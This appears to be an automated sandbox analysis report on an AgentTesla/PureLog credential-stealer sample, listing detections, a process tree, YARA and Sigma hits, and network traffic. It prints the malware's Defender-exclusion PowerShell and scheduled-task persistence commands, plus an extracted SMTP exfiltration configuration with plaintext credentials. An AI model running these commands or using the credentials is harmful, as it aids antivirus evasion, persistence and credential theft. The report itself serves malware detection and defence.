Edit tour

Windows Analysis Report
kAsh3nmsgs.exe

Overview

General Information

Sample name:	kAsh3nmsgs.exe renamed because original name is a hash value
Original sample name:	df3a573b20ebe9b8a1d4769ec25f439b2738ea14008d9bbf469234033845e6ca.exe
Analysis ID:	1589087
MD5:	71dbd91c836c0b016174ca9e0a2b848a
SHA1:	4417ebcd2635eb4f5d66707a2e2bb5440d058c5c
SHA256:	df3a573b20ebe9b8a1d4769ec25f439b2738ea14008d9bbf469234033845e6ca
Tags:	AgentTeslaexeuser-adrian__luca
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Injects a PE file into a foreign processes

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

kAsh3nmsgs.exe (PID: 1216 cmdline: "C:\Users\user\Desktop\kAsh3nmsgs.exe" MD5: 71DBD91C836C0B016174CA9E0A2B848A)

powershell.exe (PID: 2692 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7584 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7204 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HHhSyZN.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7260 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

kAsh3nmsgs.exe (PID: 7412 cmdline: "C:\Users\user\Desktop\kAsh3nmsgs.exe" MD5: 71DBD91C836C0B016174CA9E0A2B848A)

HHhSyZN.exe (PID: 7512 cmdline: C:\Users\user\AppData\Roaming\HHhSyZN.exe MD5: 71DBD91C836C0B016174CA9E0A2B848A)

schtasks.exe (PID: 7780 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp586D.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

HHhSyZN.exe (PID: 7836 cmdline: "C:\Users\user\AppData\Roaming\HHhSyZN.exe" MD5: 71DBD91C836C0B016174CA9E0A2B848A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.yandex.com", "Username": "wizzy@transmedmaritime.cf", "Password": "!feanyi#@12"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1733831709.0000000007E10000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1730748161.0000000004719000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.4150523967.000000000301B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4150523967.000000000301B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1769194056.0000000003039000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1730005072.0000000002F19000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: kAsh3nmsgs.exe PID: 1216	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: kAsh3nmsgs.exe PID: 1216	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: kAsh3nmsgs.exe PID: 1216	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: kAsh3nmsgs.exe PID: 7412	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: kAsh3nmsgs.exe PID: 7412	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: HHhSyZN.exe PID: 7512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: HHhSyZN.exe PID: 7512	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: HHhSyZN.exe PID: 7836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: HHhSyZN.exe PID: 7836	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.kAsh3nmsgs.exe.47324e8.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.kAsh3nmsgs.exe.47324e8.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.kAsh3nmsgs.exe.7e10000.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.kAsh3nmsgs.exe.7e10000.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
8.2.kAsh3nmsgs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.kAsh3nmsgs.exe.4afe9e8.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.kAsh3nmsgs.exe.4afe9e8.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.kAsh3nmsgs.exe.4afe9e8.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3162f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x316a1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3172b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x317bd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31827:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31899:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3192f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x319bf:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.HHhSyZN.exe.4c1f8f8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.HHhSyZN.exe.4c1f8f8.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.HHhSyZN.exe.4c1f8f8.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3162f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x316a1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3172b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x317bd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31827:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31899:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3192f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x319bf:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.HHhSyZN.exe.4be4ed8.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.HHhSyZN.exe.4be4ed8.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.HHhSyZN.exe.4be4ed8.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3162f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x316a1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3172b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x317bd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31827:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31899:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3192f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x319bf:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.HHhSyZN.exe.4c1f8f8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.HHhSyZN.exe.4c1f8f8.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.HHhSyZN.exe.4c1f8f8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3342f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dc4f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x334a1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dcc1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3352b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6dd4b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x335bd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6dddd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33627:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6de47:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33699:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6deb9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3372f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6df4f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x337bf:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6dfdf:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.kAsh3nmsgs.exe.4afe9e8.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.kAsh3nmsgs.exe.4afe9e8.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.kAsh3nmsgs.exe.4afe9e8.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3342f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dc4f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x334a1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dcc1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3352b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6dd4b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x335bd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6dddd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33627:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6de47:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33699:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6deb9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3372f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6df4f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x337bf:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6dfdf:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.kAsh3nmsgs.exe.2f9624c.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.HHhSyZN.exe.30b62a0.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.HHhSyZN.exe.4be4ed8.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.HHhSyZN.exe.4be4ed8.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.HHhSyZN.exe.4be4ed8.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3342f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6de4f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa866f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x334a1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dec1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa86e1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3352b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6df4b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa876b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x335bd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6dfdd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa87fd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33627:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6e047:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa8867:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33699:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6e0b9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa88d9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3372f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e14f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa896f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 20 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\kAsh3nmsgs.exe", ParentImage: C:\Users\user\Desktop\kAsh3nmsgs.exe, ParentProcessId: 1216, ParentProcessName: kAsh3nmsgs.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe", ProcessId: 2692, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp586D.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp586D.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\HHhSyZN.exe, ParentImage: C:\Users\user\AppData\Roaming\HHhSyZN.exe, ParentProcessId: 7512, ParentProcessName: HHhSyZN.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp586D.tmp", ProcessId: 7780, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 77.88.21.158, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\kAsh3nmsgs.exe, Initiated: true, ProcessId: 7412, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49734

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\kAsh3nmsgs.exe", ParentImage: C:\Users\user\Desktop\kAsh3nmsgs.exe, ParentProcessId: 1216, ParentProcessName: kAsh3nmsgs.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp", ProcessId: 7260, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\kAsh3nmsgs.exe", ParentImage: C:\Users\user\Desktop\kAsh3nmsgs.exe, ParentProcessId: 1216, ParentProcessName: kAsh3nmsgs.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe", ProcessId: 2692, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\kAsh3nmsgs.exe", ParentImage: C:\Users\user\Desktop\kAsh3nmsgs.exe, ParentProcessId: 1216, ParentProcessName: kAsh3nmsgs.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp", ProcessId: 7260, ProcessName: schtasks.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: kAsh3nmsgs.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe

Avira: detection malicious, Label: HEUR/AGEN.1305452

Found malware configuration

Source: 9.2.HHhSyZN.exe.4be4ed8.4.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.yandex.com", "Username": "wizzy@transmedmaritime.cf", "Password": "!feanyi#@12"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe

ReversingLabs: Detection: 79%

Multi AV Scanner detection for submitted file

Source: kAsh3nmsgs.exe	ReversingLabs: Detection: 79%
Source: kAsh3nmsgs.exe	Virustotal: Detection: 61%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: kAsh3nmsgs.exe

Joe Sandbox ML: detected

Source: kAsh3nmsgs.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: kAsh3nmsgs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 4x nop then jmp 0F180114h		0_2_0F180123
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 4x nop then jmp 0B2DEC54h		9_2_0B2DEC70

Source: global traffic

TCP traffic: 192.168.2.4:49734 -> 77.88.21.158:587

Source: Joe Sandbox View	IP Address: 77.88.21.158 77.88.21.158
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.4:49734 -> 77.88.21.158:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: smtp.yandex.com

Source: kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190331509.0000000008B16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.g
Source: kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4147346234.0000000001376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.gl
Source: kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.gl?
Source: kAsh3nmsgs.exe, 00000008.00000002.4168514999.000000000647B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsrsaov
